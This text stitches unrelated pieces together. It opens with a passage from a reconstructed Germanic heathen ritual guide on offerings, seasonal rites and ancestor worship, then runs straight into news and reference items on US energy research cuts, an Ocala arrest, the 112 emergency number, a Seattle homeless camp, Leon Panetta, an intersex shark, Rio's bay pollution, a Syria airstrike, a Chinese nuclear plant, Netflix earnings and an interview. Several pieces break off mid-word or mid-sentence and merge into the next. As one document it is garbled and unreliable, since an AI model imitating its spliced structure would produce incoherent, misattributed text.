Farewell — this is all about respect and is a bit less formal. The gardawaldands or the lonely practioner then thanks for the presence of all beings involved in the ritual and let them go, saying goodbye and calling the names of the most prominent beings evoked. If he or she have done a banishment, then it should be dismissed, in the four directions, starting then from the North, anticlockwise, until reach the East again. You can mentally erase the runes you have drawn, as well as visualizing the walls you created being broken down.
* * *
After discussing the basic techniques of a ritual, that can be complemented in more complex events with prefaces, lectures or fore speechs, singing, hallowing, and end speechs, that can be developed by each gardawaldands in the manner he or she sees fitting better to the given rite, we will quickly discuss some particular ways of offering.
Offerings to the *gardawaíhts — This waíhts is one of the closest (or the closest) spirit or being of a *haírþō. Then the offerings can be done in a less formal manner (Invocation-Offering, or Invocation-Petition-Offering). It is advisable to make regular weekly or daily offerings as a way of keeping him closer, happy and helpful. In Scandinavia, it is said that the tomte of a farmstead likes bread and butter. It is advisable to left the butter upon the bread, to avoid problems. Milk, sometimes alcoholic beverage, rice with beans, cooked manioc, and sweet potato can be good offerings also. If a practioner lives in an apartment, then it is advisable to find a good tree in a park and become acquainted with its waíhts, and after a 24 hour period take the offerings to this place. We place our offerings first before our altar and then we discard then. Be sure that they will not polute the place where you are discarding it to the *ūtagards’ *landwaíhtōs and thus avoiding to make them angry with you. We in our *haírþō also intent to make the offerings in a regular period of time, like Sunday’s morning, as the start of a new week.
Offerings to the *landwaíhtōs — We do not see them generally as our friends in Sáuilaþiudōs Haírþō. However, working with them is a taming attitude towards the spiritual *ūtagards around the physical and spiritual community of a Heathen. Develop and befriend some of them and adjust them in our *innagards is the objective of this practice. Those that accept to join the gift cycle of our *haírþō by taking our offerings then became part of our tribal identity, and we then relate in a dividuate manner with them, although the relationship with them is a bit less direct. We then offer cooked manioc, sweet potato, rice and beans, couscous, guava and other fruits, mango, a beverage, specially pinga, as our *landwaíhtōs are native, and we leave these offerings at a little stone gathered for this purpose, placed near a lemon tree, and cover them with dry straw of bean trees in order to not draw attention. We often follow the Invocation-Offering format, and less commonly we also make a Petition. There are two more sacred trees in our household is a hog plum (Spondias mombim) taken from the lands of my mother’s family and planted here, as well as a mango tree that was taken from there, from an old tree that saw many of my Ancestors living. Offers to them are also of presence and care, and we carry more intimacy when relating to them.
Offerings to the Ancestors — Well, this part is complex. Each person has its own preferred gifts. And they die. What was appreciated by someone when living was will be also a good offering to that people after his or her death. Yam, couscous, cassava flour, cooked manioc, jerked beef, sweet potato are some of the most characteristic foods. Pinga and alcoholic beverages are somewhat avoided to our Ancestors, as none of them liked it too much while living, but tobacco was very appreciated among them. Fruits like guava, mango and other characteristic types are also good offerings in our *haírþō to our Ancestors. They are left, in normal occasions, at our altar, and after an around 24 hour period, we discard them at the same stone we customary left the offerings to the *landwaíhtōs. We follow most of time a Simple Purification-Invocatin-Petition-Oferring format when relating to them.
#Blót# and #Sumbl# —
* * *
Seasonal Rites
The following dates are adapted to follow the seasonal events of the Southern Hemisphere. This section contains some reconstructed words and ideas from Gutiska Haiþnis Galaubeins. The names here still may contain some grammatical errors.
*Aíƕablōtan — (*Aíƕasáuþs), literally “horse sacrifice” (from both the Old Norse Freyfaxi and the Haustablót) is held in 22nd March in the Southern Hemisphere, during the Autumn Equinox. In the past the Germanic heathen peoples sacrificed a horse in honour of *Fráuja to grant good harvest. Today minor practices may be done, such as food offerings.
*Wintrunáhtōs — the winter nights (30th April). It is the beginning of the Wild Hunt, when *Gwodans rides through the sky with the spirits of the dead. It is wise to do offerings of alcohol to him and his companions to make sure they won’t mess with you. The Wild Hunt is also a good time to stay closer to your own *innagards, as well as dedicate yourself to your spiritual side(s).
*Midjunwintrublōta — the sacrifices or offerings due to the beginning of the winter and the winter solstice are held in 21st June.
*Juleis — (21st or 23rd June). The end af the Wild Hunt and the cycle of time. A perfect time for feasts gathering the whole *innagards, and #symbel# to ensure the strenghtening of the community’s bounds.
*Þunrablōtan — on 14th July offerings of goat flesh and ale to *Þunrs as a way to ask for his protection during the winter.
*Blótan to *Deisós and *Albeis — in 31st July generous sacrifices and offerings are left to the strongest Ancestors of one’s kuni to ensure prosperity and wellfare.
*Áustrō — Spring equinox. In 23rd September are held the rituals of renovation. Fruits and juices can be offered as gifts to de goddess *Áustrō. Cerimonial fire is also lit through the fire of the *haírþō as an offering to Sáuil in thankfulness for her arrival.
*Zisa festival — in 28th day of September, games and feasts take place as a way to honour *Zisa.
*Airizanadaga — in 2nd November, as a traditional holyday, we can deepen it’s meaning, and make sure that good offerings are made to our personal ancestors, and that we will make the possible to visit them and keep straight bounds.
*Miþasans — Summer solstice (21st December). The beginning of the summer. Bonfires are lit in honor of the powerful goddess Sáuil. This day can held public celebrations and dances. It is a moment of happiness, pleasure and to thanks for the year that passed.
* * *
Ancestors Worship
This is one of the most complex themes of our practice in Alþeis Sidus. As we already said, Ancestors worship is one of the main focuses of our practices. However, it is not clearly distinguished of the whole body of our sidus. It overpasses our heroes’ worship, our praxis of reciprocity through the gifting cycle, our festivals and has no less importance than the gods’ worship.
To reconstruct the Ancestors Worship we recurred to its remnants through the North Germanic written sources, as well as the Chinese and African Ancestors Worship, as they are still alive and are far more documented.
In Alþeis Sidus, as in Chinese folk religion, a person is thought to have multiple souls, there categorized as hun and po, and as body and dream soul to us. Upon death, separate. Generally, in Chinese Religion, the former ascends into heaven and latter descends into the earth and/or resides within a spirit tablet; however, in China beliefs concerning the number and nature of souls vary. In Alþeis Sidus some of the souls of a deceased then stay in the body (*hugs, *muns), and some of them are guided by *Wodans to the underworld of de dead. In accordance with these traditional beliefs, various practices have arisen to address the perceived needs of the deceased. As no one in our *hairþō died since we started to develop the reconstruction of Alþeis Sidus, the following ideas on the treatment of a person in mourning, funeral and burial are still speculative.
Mourning
In Chinese folk religions, the mourning of a loved one usually involves elaborate rituals, which vary according to region and sect. The intensity of the mourning is thought to reflect the quality of relationship one had with the deceased. From the time of Confucius until the 20th century, a three-year mourning period was often prescribed, mirroring the first three years in a child’s life when they are utterly dependent upon and loved unconditionally by their parents. These mourning practices would often include wearing sackcloth or simple garb, leaving hair unkempt, eating a restricted diet of congee two times a day, living in a mourning shack placed beside the house, and moaning in pain at certain intervals of the day. It is said that after the death of Confucius his followers engaged in this three-year mourning period to symbolize their commitment to his teachings.
Funeral rites
In Chinese folk religions, funerals are considered to be a part of the normal process of family life, serving as a cornerstone in inter-generational traditions. The primary goals, regardless of religious beliefs, are to demonstrate obeisance and provide comfort for the deceased. Other goals include: to protect the descents of the deceased from malevolent spirits and to ensure the proper separation and direction of the deceased’s soul into the afterlife.
Some common elements of Chinese funerals include the expression of grief through prolonged, often exaggerated wailing; the wearing of white mortuary clothes by the family of the deceased; a ritual washing of the corpse, followed by its attiring in grave clothes; the transfer of symbolic goods such as money and food from the living to the dead; the preparation and installation of a spirit tablet or the use of a personator (shi), often symbolic. Sometimes, ritual specialists such as Taoist priests or Buddhist monks would be hired to perform specific rites, often accompanied by the playing of music or chanting of scripture to drive away evil spirits.
Burial
Among the Germanic heathens of the old times, it was very common to bury them in a single mound, generation after generation, and these mounds are viewed as sacred, as the home of the Ancestors, as well as a gate to their land. Warriors or noble persons could be burnt, and is not rare to found burials that or are ships themselves, or stones placed in the format of a ship. There are no living detailed attestations on how the burial of the dead in Norse or other Germanic peoples could happen.
Burial is often delayed according to wealth in Chinese ethinic religions; the coffin would remain in the main room of the family home until it has been properly prepared for burial. More traditionally, this delay is pre-determined according to social status: the corpse of a king or emperor would be held in abeyance for seven months; magnates, five; other officers, three; commoners, one.
In Chinese Folk religions, some instances, a “lucky burial” can take place several years after the burial. The bones are dug up, washed, dried, and stored in an earthenware jar. After a period of storage, the contents are then interred in their final resting place in a location selected by an augur to optimize the flow of qi. A baExclusive: While boasting of his plans for “American energy dominance,” President Trump is slashing key research projects and ceding much of the renewable energy market to China, notes Jonathan Marshall.
By Jonathan Marshall
In case you didn’t get the memo, the White House dubbed this “Energy Week.” Though devoid of substance, President Trump took the opportunity to tout his administration’s commitment not just to energy security — how passé — but to “a golden age of American energy dominance.”
Apparently the White House budget office didn’t get the memo, either, because it still wants crippling cuts to very Department of Energy programs that help Americans get more bang for their energy bucks and fund breakthrough technology research to sustain U.S. energy leadership for decades to come.
The Trump administration proposes about $3 billion in cuts to basic and applied research on energy. It would slash over half the funding for the Office of Energy Efficiency and Renewable Energy (EERE) and wipe out altogether the much-acclaimed Advanced Research Projects Agency-Energy (ARPA-E). Those priorities are reflected in legislation now being crafted by the House Energy and Water Appropriations Subcommittee.
EERE works with industry and federal laboratories to promote cutting-edge, marketable technology related to energy efficiency; solar, wind, bioenergy and geothermal energy production; and advanced manufacturing programs.
To date, according to the office’s website, now under the supervision of Energy Secretary Rick Perry, “third-party evaluations have assessed one-third of EERE’s research and development portfolio and found that an EERE taxpayer investment of $12 billion has already yielded an estimated net economic benefit to the United States of more than $230 billion, with an overall annual return on investment of more than 20%.”
To promote visionary technologies that EERE and the private sector find too risky to fund, Congress authorized the creation of ARPA-E in 2007. It was modeled after the Defense Advanced Research Projects Agency (DARPA), which is widely credited — among other breakthroughs — with funding the creation of the Internet and the Global Positioning System.
A Nimble Agency
ARPA-E’s mission is to “enhance the economic and energy security of the United States” by reducing energy imports and pollution, improving the energy efficiency of the U.S. economy, and “ensur(ing) that the United States maintains a technological lead in developing and deploying advanced energy technologies.”
Since ARPA-E first received funding in 2009, it has selectively supported some 580 R&D projects, representing a mere five percent of funding requests. Of those, 74 projects have gone on to attract more than $1.8 billion in private funding to pursue pilot projects, 68 have partnered with the Defense Department or other government agencies to further develop their technology, and 56 have spawned new companies to commercialize their concepts.
It has also earned an enviable reputation for brilliant leadership and for a nimble, efficient operational style usually associated with successful tech companies, not government bureaucracies.
Just in time to inform the debate in Washington, the National Academies of Sciences, Engineering and Medicine two weeks ago issued an authoritative assessment of ARPA-E’s track record and mission.
Contrary to the claims of critics, the report concluded, “The agency is not failing and is not in need of reform. In fact, attempts to reform the agency — such as applying pressure for ARPA-E to show short-term success rather than focusing on its long-term mission and goals — would pose a significant risk of harming its efforts and chances.”
The report’s biggest criticism: ARPA-E fails to tell its powerful story often and clearly enough to the general public.
The Trump administration’s sabotage of such R&D programs comes at an especially critical time, when vital considerations of climate, national security, and economics all cry out for more, not less, attention to clean energy.
On the climate front, time is fast running out for a global response to the threat of disruptive warming. An international group of prominent climate scientists, writing in the journal Nature, have just warned that without substantial reductions in carbon emissions starting in 2020, the chances are low of limiting our planet’s temperature increase to a high but manageable 2 degrees Celsius.
On the national security front, the increasingly anarchic state of the Middle East, the shakiness of the Saudi monarchy, and saber-rattling by Sunni oil producing powers against Iran and Qatar, provide a convincing rationale for weaning the U.S. economy off fossil fuels as quickly as possible, so our industry and transportation sectors become less vulnerable to price shocks induced by war or political instability.
Bowing to China
And on the economic front, the Trump administration’s energy sector cuts would amount to unilateral industrial disarmament against rising foreign competitors like China.
Recalling the waves of technology innovation that propelled the U.S. economy in the Twentieth Century, MIT lecturer William Bonvillian recently argued in The American Interest that the next great sources of growth and innovation are renewable energy (wind and solar) and vehicle electrification.
“Although U.S. R&D played a key role in creating these sectors, it has lost implementation leadership,” he warned. China “now dominates world production of solar, boasting five of the world’s six largest solar companies, has the largest wind turbine company, and is on track to generate a quarter of its electricity from wind by 2030.
“China did not enter wind and solar for the environmental benefits; rather, it saw them as rapidly growing advanced-technology sectors where it could dominate and capture major world export markets. It now has. While the U.S. economy maintains the overall lead in technological advances through its still-strong research in these areas, it is in the process of ceding the financial gains of production.”
With 10 electric car companies ramping up production, China also threatens the U.S. lead in such vehicles. But Bonvillian cited ARPA-E’s support of radical new battery technology as a potential key to creating a true mass market for clean electric vehicles while keeping the lead in the United States:
“If the next big [energy technology wave] is electric vehicles, ARPA-E is arguably a critical breakthrough innovation institution for achieving the battery advances this requires (as well as to other energy breakthroughs). Other agencies and the private sector aren’t anywhere near as well positioned.”
The good news is that Trump faces fierce opposition to his efforts to disband successful organizations like EERE and ARPA-E. Two years ago, a group of prominent business leaders, including Bill Gates and General Electric CEO Jeffrey Immelt, recommended tripling ARPA-E’s budget. ARPA-E also received strong support in June from the conservative U.S. Chamber of Commerce.
Just a couple of months ago, it received the most critical endorsement of all — when Congress upped its budget for the 2017 fiscal year by $15 million. Let’s hope that legislators continue putting our money where the jobs are and keep supporting America’s urgently needed development of clean energy.
Jonathan Marshall is a regular contributor to Consortiumnews.com.PD: Woman nearly crashes into children, urinates on sidewalk in Ocala
A 23-year-old woman is accused of nearly crashing into a group of children, urinating in public and then trying to escape out of a patrol car in Ocala, according to police.Police said they spotted Keisha Feeney speeding in the Parkside Garden apartment complex on Northwest 2nd Street on Thursday.In an attempt to park, Feeney came close to striking a group of children with her car, police said.Once she was parked, officers said Feeney exited her vehicle and then urinated on the sidewalk.An officer said she arrested Feeney and placed her in the back of her patrol car, but once in custody Feeney became agitated and tried to kick out the back windows of the car. She was placed in leg restraints and booked into the Marion County Jail.Most watched: Accused shoplifter caught on video stuffing chainsaw down his pantsPolice said Feeney’s license has been suspended since September 2011. She was charged with disorderly conduct, reckless driving and driving with a suspended license.Related: Florida mug shots
A 23-year-old woman is accused of nearly crashing into a group of children, urinating in public and then trying to escape out of a patrol car in Ocala, according to police.
Police said they spotted Keisha Feeney speeding in the Parkside Garden apartment complex on Northwest 2nd Street on Thursday.
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In an attempt to park, Feeney came close to striking a group of children with her car, police said.
Once she was parked, officers said Feeney exited her vehicle and then urinated on the sidewalk.
An officer said she arrested Feeney and placed her in the back of her patrol car, but once in custody Feeney became agitated and tried to kick out the back windows of the car. She was placed in leg restraints and booked into the Marion County Jail.
Most watched: Accused shoplifter caught on video stuffing chainsaw down his pants
Police said Feeney’s license has been suspended since September 2011. She was charged with disorderly conduct, reckless driving and driving with a suspended license.
Related: Florida mug shots
AlertMeThis article is about the emergency telephone number. For other uses, see 112 (disambiguation)
112 (emergency telephone number)
Operator responding to a 112 phone call
112 is the common emergency telephone number that can be dialed free of charge from most mobile telephones and, in some countries, fixed telephones in order to reach emergency services (ambulance, fire and rescue, police).
112 is a part of the GSM standard and all GSM-compatible telephone handsets are able to dial 112 even when locked or, in some countries, with no SIM card present. It is also the common emergency number in India and in nearly all member states of the European Union as well as several other countries of Europe and the world. 112 is often available alongside other numbers traditionally used in the given country to access emergency services. In some countries, calls to 112 are not connected directly but forwarded by the GSM network to local emergency numbers (e.g., 911 in North America or 000 in Australia).
Origins [ edit ]
A " cocaine alert" sign posted by GGD Amsterdam: the sign reminds people to "Call 112 for an ambulance."
112 was first standardised by a recommendation[1] by the CEPT[2] in 1972 and later by a decision of the EU Council in 1991[3] and subsequently reaffirmed in 2002 by article 26 of the Universal Service Directive[4] and its subsequent amendments.[5]
This choice of number has the following advantages:
Different digits: with the numeric keypads used universally today, using at least two different digits instead of the same digit repeatedly significantly reduces the risk of accidental calls. Young children, vibrations, defective keys and collisions with other objects are much more likely to press the same key repeatedly than a particular sequence of different keys, particularly with a button-operated keypad. Accidental calls to emergency centres from mobile phones, which can dial emergency numbers even with locked keypad, are a particular problem with same-digit numbers, such as the UK's 999. [6]
Low digits: in the days of rotary dial telephones, using only those digits that require the least dial rotation (1 and 2) permitted a dial lock[7] in hole 3 to effectively disable unauthorised access to the telephone network without preventing access to the emergency number 112. The same choice also maximised dialling speed. Additionally, telephone systems used pulse dialling instead of later DTMF tones; briefly activating the hook once has the same effect as dialling "1", so repeatedly pushing the hook might result in calling 1-1-1. For this reason, Germany's police emergency number was changed from 111 to 110. With numeric keypads, pressing only the first and second button on the keypad is marginally easier in a difficult situation than other keys.
Implementation [ edit ]
112 on a lifeguard tower in Morro Jable, Spain
[8] emergency telephone numbers in the world: 112 9-1-1 112 and 9-1-1 Other number or no redirection Implementation of the two ITU approvedemergency telephone numbers in the world:
The countries which use the 112 number for emergencies include:
In many countries, emergency numbers previously used also continue to be available; e.g. 061 and 112 in Spain, 999 and 112 both function in Ireland and the UK. In the United States, only some carriers, including AT&T will map the number 112 to its emergency number 9-1-1.
Adoption [ edit ]
112 is managed and financed in the European Union by each member state (country), who also decide on the organization of the emergency call centres. The number is also adopted by candidates for EU accession and members of the EEA agreement.
The International Telecommunications Union recommends that member states selecting a primary or secondary emergency number choose either 911, 112 or both.[16] 112 is one of two numbers (the other being the region's own emergency number) that can be dialed on most GSM phones even if the phone is locked.[17]
E112 [ edit ]
"E112" redirects here. For the chemical element, see copernicium
E112 is a location-enhanced version of 112. The telecom operator transmits the location information to the emergency centre. The EU Directive E112 (2003) requires mobile phone networks to provide emergency services with whatever information they have about the location a mobile call was made. This directive is based on the FCC's Enhanced 911 ruling in 2001.
The eCall feature for automated emergency calls on crash mandatory since April 2018 on European car is based on E112.[18]
European 112 Day [ edit ]
The European Parliament, the Council of the European Union and the European Commission signed a tripartite convention in 2009 in order to introduce an annual European 112 Day. It is supposed to raise awareness for the Europe-wide availability and the advantages of the European emergency call 112. They chose 11 February since the date includes the telephone number (11/2).[19] A whole variety of events are taking place around Europe every year to celebrate European 112 Day.[20]
Expert Group on Emergency Access (EGEA) [ edit ]
Getting 112 to work across the EU is a complex task. It requires in particular coordination between civil protection administrations (the emergency authorities who handle the call) and electronic communications administrations (who have to make sure that a 112 call reaches the emergency operator). That is why the Commission decided to act at European level and set up the Expert Group on Emergency Access (EGEA) at the end of 2005.
The objective of the group is to deal with practical issues Member States are facing to provide an efficient and effective 112 service to citizens. This group seeks practical solutions to problems experienced by the emergency services at local, regional or national levels and deals with issues related to the application of new technologies for communication with emergency services.
The European Commission decided that EGEA would not be renewed for the year 2014. The European Commission noted that in case the work by the working group would appear necessary during the course of this period, this work would be fully covered and dealt with during regular Communication Committee (COCOM) meetings, or if needed, the composition of any of these groups could be called for a dedicated meeting back to back with a regular COCOM meeting.
See also [ edit ]
References [ edit ]
Media related to 112 (emergency telephone number) at Wikimedia CommonsUPDATE:
Sgt. Sean Whitcomb said in regards to SPD’s ability to comment on Murray’s Triangle, the “issue of homeless encampments is an inter-disciplinary effort coordinated through the Mayor’s office… Unlike the Sheriff’s Office, SPD works for, and directly reports to the Mayor’s office and is in full support of their efforts.”
A captain in the Sexual Assault Unit did confirm one sexual assault occurred late last year (no date provided) but can recall no “recent cases.”
A full accounting of criminal activity would require a records request. They do encourage any potential victims or witnesses to call the police department.
In short, everything is going through the Mayor’s office.
No word back from the Mayor or his representatives.
UPDATE: Don would like us to begin referring to the illegal homeless camp in SoDo as “Murray’s Triangle.” You can grab a graphic to share on Ron’s Facebook page.
Dozens of rats scurry underneath and through the tents. Orange-capped syringes are strewn about. Tents sit up on pallets to keep them out of the mud, which is mixed with human and rat feces, urine and garbage. It’s a triangular swamp. Or, as KIRO Radio’s Don O’Neill dubbed it: “The New Jungle.”
On their ride along with the Union Gospel Mission’s search and rescue van Wednesday night, Ron and Don visited with many of the men and women living on the streets of Seattle. A considerable portion of the homeless population has relocated from the area known as “The Jungle,” an illegal homeless encampment located below Beacon Hill and under and around I-5. The Jungle gained national attention after a deadly shooting in 2016; it put the lawlessness in the area into perspective.
Related: Homeless crisis is not a partisan issue
The Jungle has since been closed down. Thousands of pounds of garbage and debris have been removed from that area.
The Triangle aka ‘New Jungle’
earch and rescue specialist with Union Gospel, Mcadams said there were about 350 people in the Jungle and about 85 of them moved to this new illegal encampment that is a triangular-shaped wedge located under South Royal Brougham Way and Airport Way — not far from the Greyhound Station.
The space features a berm in the middle, where most go to the bathroom, which drains down the hill to the tents/tarps surrounding it. In other words, the former green space has transformed into a cesspool.
“We call it ‘The Triangle,'” Mcadams said. “It’s just a bunch of people that need help out here.”
Mcadams said the some of the former Jungle inhabitants moved to more secluded encampments farther down Airport Way, while some others found housing. Horrors from the Jungle have relocated to the Triangle. Mcadams told Ron and Don that the men run the camps. As for the women — while there is no prostitution, the women are often involved in sex acts to pay for drugs. Rape, stabbings and assaults are common, he said.
When asked whether the Triangle or Jungle was safer, McAdams responded: “It’s about the same, the only difference is up there in the Jungle, they were secluded so no one really saw what was going on. Here, it’s out in the open and out in the public’s eye.”
A horrified Don had this to say about the area:
If you can look at this? This is how people are living in Seattle, Washington right now. And if we’re throwing $100 million at this. I don’t know exactly how that’s helping and I don’t know why we’re allowing people to live like this. This can’t be a choice. I think what’s happened here is because people are living next to train tracks, an industrial area, by the interstate, they’re out of sight, so therefore they’re out of mind, and this can’t be out of mind. I see rats everywhere, I see needles, we’re stepping in mud right now, and people are sleeping on this. It’s not even raining tonight and you think what this is like in just a deluge. And for whatever reasons this is OK. This can’t be OK. And I would just say to the mayor tonight and the city council, and I’m sure they’ve been down here and they’ve walked through this mud, this can’t be OK. We can’t allow people to live like this.
Watch the Facebook Live video below to see The Triangle at night.Media playback is unsupported on your device Media caption Leon Panetta spoke about how ''Israel's isolation'' had grown in the region
US Defence Secretary Leon Panetta has urged Israel to "mend fences" with Turkey, Egypt and others in the Middle East to reduce its growing isolation.
In a speech in Washington, he said Israel was not entirely to blame, referring to an "international campaign" to isolate it.
Mr Panetta called on Israel to restart peace talks with the Palestinians.
He added that the US remained committed to Israel's security and would not allow Iran to acquire nuclear weapons.
"Unfortunately, over the past year, we've seen Israel's isolation from its traditional security partners in the region grow, and the pursuit of a comprehensive Middle East peace plan has effectively been put on hold," he said.
Israel's concern over the Arab Spring revolts that have toppled several long-term authoritarian leaders in the region, including in peace partner Egypt, was understandable, he added.
But the changes in leadership offered an opportunity for Israel to improve regional security.
"For example, Israel can reach out and mend fences with those who share an interest in regional security, countries like Turkey and Egypt, as well as Jordan," he said.
The problem right now is we can't get them to the damn table Leon Panetta, US Defence Secretary
"And if the gestures are rebuked, the world will see those rebukes for what they are."
Egypt and Jordan are the only Arab nations to recognise Israel. Israel is closely watching the election process in Egypt, where Islamist parties have done well after the first round.
Relations with Turkey, which recognised Israel in 1949, have soured since Israeli soldiers boarded an aid convoy challenging the naval blockade of Gaza last year, resulting in the deaths of nine Turks.
'Last resort'
The peace process with the Palestinians has been stalled for more than a year, bedevilled by continuing Israeli settlement construction in occupied territories and by the Palestinians' bid for full membership of the United Nations.
Mr Panetta said Israel should "lean forward on efforts to achieve peace with the Palestinians".
"Rather than undermining the Palestinian Authority, it is in Israel's interests to strengthen it by... continuing to transfer Palestinian tax revenues and pursuing other avenues of co-operation," he said.
When asked by an audience member after his speech what Israel could do to get the peace talks restarted, he said: "Just get to the damn table."
"The problem right now is we can't get them to the damn table."
He said a nuclear-armed Iran posed the greatest threat to the security and prosperity of the Middle East.
President Barack Obama had not ruled out using military action to prevent Tehran from acquiring nuclear weapons, but Mr Panetta said a strike would only delay its nuclear programme by one or two years.
He said military action was a "last resort".Article body copy
Many fish are switch-hitters: they have the ability to change from male to female, or vice versa, when it’s convenient for reproduction. Not so for sharks and rays, which develop either male or female organs before birth. But off the coast of Taiwan, fishers discovered a shark with a fully developed set of male and female reproductive organs. The animal is one of only a handful of such sharks ever documented, and the first of its species.
Intersex sharks are incredibly rare, says Carl Meyer, a marine biologist at the University of Hawai‘i. “I’ve caught literally thousands of sharks myself, and I’ve never seen [one],” he says.
The 50-centimeter-long Pacific spadenose shark was caught in a fishing trawl in the southern Taiwan Strait, and landed at Xiamen, China, in January 2017. Externally, the shark appeared to be an adult male, with a fully developed pair of claspers—penis-like appendages that extend from the pelvic fin. When the shark was examined internally, however, it was found to have a complete pair of ovotestes—gonads that contain both ovarian and testicular tissue—as well as both male and female reproductive tracts.
Further analysis by a team of scientists at Xiamen University uncovered viable germ cells of both sexes, meaning that the shark could have potentially functioned as either sex reproductively. Where intersexuality has been seen in elasmobranchs—sharks, rays, skates, and other cartilaginous fish—the different sex organs are usually only partially formed.
Sharks have bilateral symmetry, and some of their organs come in pairs: in normal development, they’ll have two claspers or two uteri, and a |
settings and were not considered anything officials felt obligated to report.
In March 2016, Reuters reported that foreign diplomats were raising alarm "in private conversations" with US officials about Trump's incendiary campaign rhetoric, but a source familiar with that reporting said those conversations took place at high levels in offices in Washington, DC, and therefore would not be included in the international cables.
Here's what did make the cables:One of the main selling points of the 2014 World Cup and 2016 Olympics was the so-called legacy of the games. The events meant the government would have to move forward with investments made in transportation, roads, airports, and other infrastructure, benefitting host cities.
In the case of the Olympics, one of the big legacy elements was the clean-up of the Guanabara Bay. Projects and promises to clean the long-suffering waterway have fallen through for decades. The Olympics was the chance for Rio to finally get definitive action on the bay.
As part of the Olympics budget, the state planned to invest nearly $1 billion (R$2 billion) in clean-up efforts. But last April, the Rio state government slashed the clean-up budget by 95 percent. And the state of the Bay--filled with trash and raw sewage--remains woeful.
So as the Olympics draw closer, what's going on with the bay?
This week, the Rio state environmental secretary admitted that the goal to cut 80 percent of pollution in the bay by 2016 would not happen. He added that an investment of $3.8 billion is needed for the clean-up. Experts estimate that it will require uninterrupted work over 20 years to fully clean up the bay.
In December, scientists identified a "superbacteria" in the Carioca River, as well as on Flamengo Beach and Botafogo Beach. The bacteria is associated with hospital waste, can cause a variety of health problems, and cannot be treated with antiobiotics.
The same month, Swiss sailors training in Rio for the Olympics reported falling ill after having contact with water in the bay, including fever and diarrhea.
This month, the state environmental secretariat testing found that sand on some of the city's most popular beaches, including parts of Copacabana, Barra, and Arpoador, are not recommended for human contact due to contamination from dog urine and food waste.
So if the Olympics aren't enough to pressure authorities to make the clean-up a priority, what will?
Images: Agencia Brasil Flickr Creative Commons; Gloverbr2008, Flickr.bombed Syrian government forces' positions near the eastern city of Deir ez-Zor
Sixty-two Syrian soldiers were killed and over 100 injured in the airstrike by the US
an Islamic State offensive began right after Syrian Army positions were hit from the air
US-led coalition jets have, the Syrian Army General Command told the state television.According to Syria's official SANA news agency, the bombing took place on al-Tharda Mountain in the region of Deir ez-Zor and caused casualties and destruction on the ground.-led coalition, Russia's Defense Ministry spokesman, Major-General Igor Konashenkov, said, citing information received from the Syrian General Command.The Russian Defense Ministry said on Saturday that the aircraft which carried out the bombings had entered Syrian airspace from the territory of Iraq. The airstrike against Syrian positions was performed by two F-16 jet fighters and two A-10 support aircraft, it said.Even if the bombardment of the Syrian government troops was a mistake, it's still a consequence of Washington's unwillingness to coordinate its anti-terror efforts with Moscow, the ministry said.The Defense Ministry also confirmed a report by SANA thatThe actions of the coalition "clearly paved the way for Islamic State (IS, formerly ISIS/ISIL) terrorists to attack the position and take control of it," the agency said citing the General Command of the Army and Armed Forces.The General Command has called the bombing a "serious and blatant aggression" against Syrian forces, and said it wasEarlier on Saturday, Russia accused the US of being reluctant to take measures to force rebels under its control to fall in line with the terms of the Syrian ceasefire.Numerous Russian appeals to the American side remain unanswered, which "raises doubts over the US's ability to influence opposition groups under their control and their willingness to further ensure the implementation of the Geneva agreements," senior Russian General Staff official, Viktor Poznikhir, said.Poznikhir also said thatBEIJING, Sept 28 (Reuters) - China’s cabinet, the State Council, has formally approved the construction of Shandong Haiyang Nuclear Power Station, State Nuclear Power Technology Corp (SNPTC) said on Friday.
The power station in eastern Shandong province is the second in the country that will be based on the third-generation AP1000 technology imported from U.S.-based Westinghouse Electric Co., owned by Toshiba Corp. (6502.T).
Two nuclear power generating units, each with a capacity of 1.25 gigawatts (GW), would be brought online in 2014 and 2015 respectively, SNPTC said in a post on its website (www.snptc.com.cn)
SNPTC is in charge of third-generation nuclear power technology imports and localisation.
A formal ceremony to mark the beginning of construction would be held in mid-October, the official Xinhua news agency reported over the weekend.
China would start building five nuclear plants this year, two based on Westinghouse technology, one based on technology from France’s Areva CEPFi.PA and two on domestic technology, a deputy head of the National Energy Administration said in April.
China has launched a series of measures to boost the supply of alternative energy, including nuclear, wind and solar power, and reduce its dependence on coal.
But government and industry officials have warned that blind expansion and the risk of overcapacity could undermine healthy development of clean energy sources.
Zhang Guobao, head of the National Energy Administration, said on Sunday that China may have to put the brakes on the construction of nuclear power plants to ensure they are safe.[ID:nPEK227803]
For a table of China’s nuclear power plants and plans, please click: [ID:nPEK248156] (Reporting by Jim Bai and Chen Aizhu; Editing by Chris Lewis)LOS GATOS, Calif. (AP) — Investors will be focusing on how many customers Netflix has been adding and how much money the company has been losing when the video subscription service releases its first-quarter results.
The numbers, due out after the stock market closes Monday, will provide the latest gauge on how well Netflix is recovering from a jarring customer backlash as it deals with steadily rising Internet video licensing fees on top of the costs for an international expansion.
The higher expenses are the main reason Netflix is expected to report its first quarterly loss in seven years. The company, which is based in Los Gatos, Calif., already braced Wall Street for the setback with a forecast released in January. The red ink is expected to keep flowing for at least several more months, culminating in Netflix's first annual loss in a decade.
The first-quarter loss could quickly become an afterthought if it looks like Netflix's subscriber growth is accelerating again. That would be a sign that Netflix has repaired the damage that it caused last summer when it raised its U.S. prices by as much as 60 percent for subscribers who wanted to stream video over high-speed Internet connections and rent DVDs through the mail.
In January, Netflix predicted its streaming service might pick up as many as 1.9 million customers during the first three months of the year to end the quarter with as many as 23.6 million subscribers. The company expects to lose as many as 1.8 million DVD-by-mail subscribers, with many of them switching to Internet video exclusively.
Netflix's stock could also get a boost if the quarterly loss is smaller than anticipated and revenue tops analyst estimates.
Management's own projection in January was imprecise, leaving room for a loss of anywhere from 16 cents to 49 cents per share. Analysts polled by FactSet are predicting that Netflix will lose 27 cents per share on revenue of $867 million.
Netflix shares closed last week at $106.11. That leaves the stock with a 53 percent gain so far this year, but far below its peak of nearly $305 last July around the same time the price increases were announced.Professor Bothwell. Courtesy of Robert Bothwell.
Robert Bothwell is one of Canada’s most prolific historians, an instructor at Trinity College and also a Fellow of the College. He has written books on Pierre Trudeau, the Cold War, Quebec, and Canada-US relations, including The Penguin History of Canada. His extensive knowledge of Canadian history gives him an unique perspective on the 2015 federal election, the Harper years, and what to expect from Prime Minister Justin Trudeau.
The Varsity (TV): One explanation for the result of last week’s election is that Canadians ‘don’t vote people in, they vote people out.’ Is that an accurate description?
